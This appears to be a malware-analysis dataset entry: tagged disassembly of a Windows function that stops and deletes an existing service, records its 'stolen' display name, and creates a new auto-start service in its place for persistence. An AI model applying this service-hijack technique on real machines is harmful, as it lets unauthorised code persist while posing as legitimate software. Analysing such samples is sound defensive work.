Function at 0x40be80
Capabilities:
Create service
Delete service
Persist via windows service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x461325
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x260
push ebx
push esi
push edi
mov dword [ebp - 4], 1
lea edi, [ebp + 0xc]
cmp dword [ebp + 0x20], 8
mov ebx, dword [ebp + 8]
cmovae edi, dword [ebp + 0xc]
push 0x10020
push edi
push ebx
mov dword [ebp - 0x2c], edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
lea ecx, [ebp - 0x44]
lea eax, [ebp + 0xc]
push eax
call fcn.004061c0
mov byte [ebp - 4], 2
test esi, esi
je 0x40c0a1
push 0x470298
call fcn.0041a4d0
add esp, 4
lea eax, [ebp - 0x6c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 0x68]
cmp eax, 1
je 0x40bf63
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, 0xa
nop dword [eax]
push eax
push str.Service_Status:
push 0x4883e8
call fcn.00402eb0
add esp, 8
mov ecx, eax
call fcn.0040a0a0
push eax
call fcn.00404a00
mov eax, dword [ebp - 0x54]
add esp, 4
test eax, eax
cmove eax, edi
push eax
call ebx
lea eax, [ebp - 0x48]
push eax
push 0x24
lea eax, [ebp - 0x6c]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40bf5d
mov eax, dword [ebp - 0x68]
cmp eax, 1
jne 0x40bf10
mov edi, dword [ebp - 0x2c]
mov ebx, dword [ebp + 8]
push str.Service_process_stopped_n
call fcn.0041a4d0
add esp, 4
mov dword [ebp - 0x10], pe_nt_image_headers32
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x26c]
push eax
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_GetServiceDisplayNameW]
test eax, eax
je 0x40c04f
mov eax, dword [ebp - 0x10]
xor edx, edx
mov dword [ebp - 0x28], 0
mov word [ebp - 0x28], dx
lea edx, [ebp - 0x26c]
mov dword [ebp - 0x18], 0
lea ecx, [eax + eax]
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x18], 0
add eax, ecx
mov dword [ebp - 0x14], 7
cmp edx, eax
je 0x40bfe1
sar ecx, 1
mov eax, edx
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00411b00
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x44]
call fcn.00410af0
push 0x18
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00439090
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 2
push str.Stolen_name:
push 0x4883e8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.00402bd0
cmp dword [ebp - 0x30], 8
lea ecx, [ebp - 0x44]
push dword [ebp - 0x34]
cmovae ecx, dword [ebp - 0x44]
push ecx
push eax
call fcn.004040c0
push eax
call fcn.00404a00
add esp, 0x24
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x40c066
push str.Service_deleted_n
call fcn.0041a4d0
jmp 0x40c08c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.Service_cannot_be_deleted:
push 0x4883e8
call fcn.00402eb0
add esp, 8
mov ecx, eax
call fcn.0040a0a0
push eax
call fcn.00404a00
add esp, 4
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
jne 0x40c0ae
push str.Cannot_close_handle_n
jmp 0x40c0a6
push str.Choosen_service_cant_be_stopped_n
call fcn.0041a4d0
add esp, 4
cmp dword [ebp + 0x38], 8
lea edx, [ebp + 0x24]
push 0
cmovae edx, dword [ebp + 0x24]
lea ecx, [ebp - 0x44]
cmp dword [ebp - 0x30], 8
lea eax, [ebp + 0xc]
push 0
cmovae ecx, dword [ebp - 0x44]
cmp dword [ebp + 0x20], 8
push 0
cmovae eax, dword [ebp + 0xc]
push 0
push 0
push edx
push 1
push 2
push 0x10
push 0xf01ff
push ecx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x44]
call fcn.00410af0
mov byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call fcn.00410af0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x24]
call fcn.00410af0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret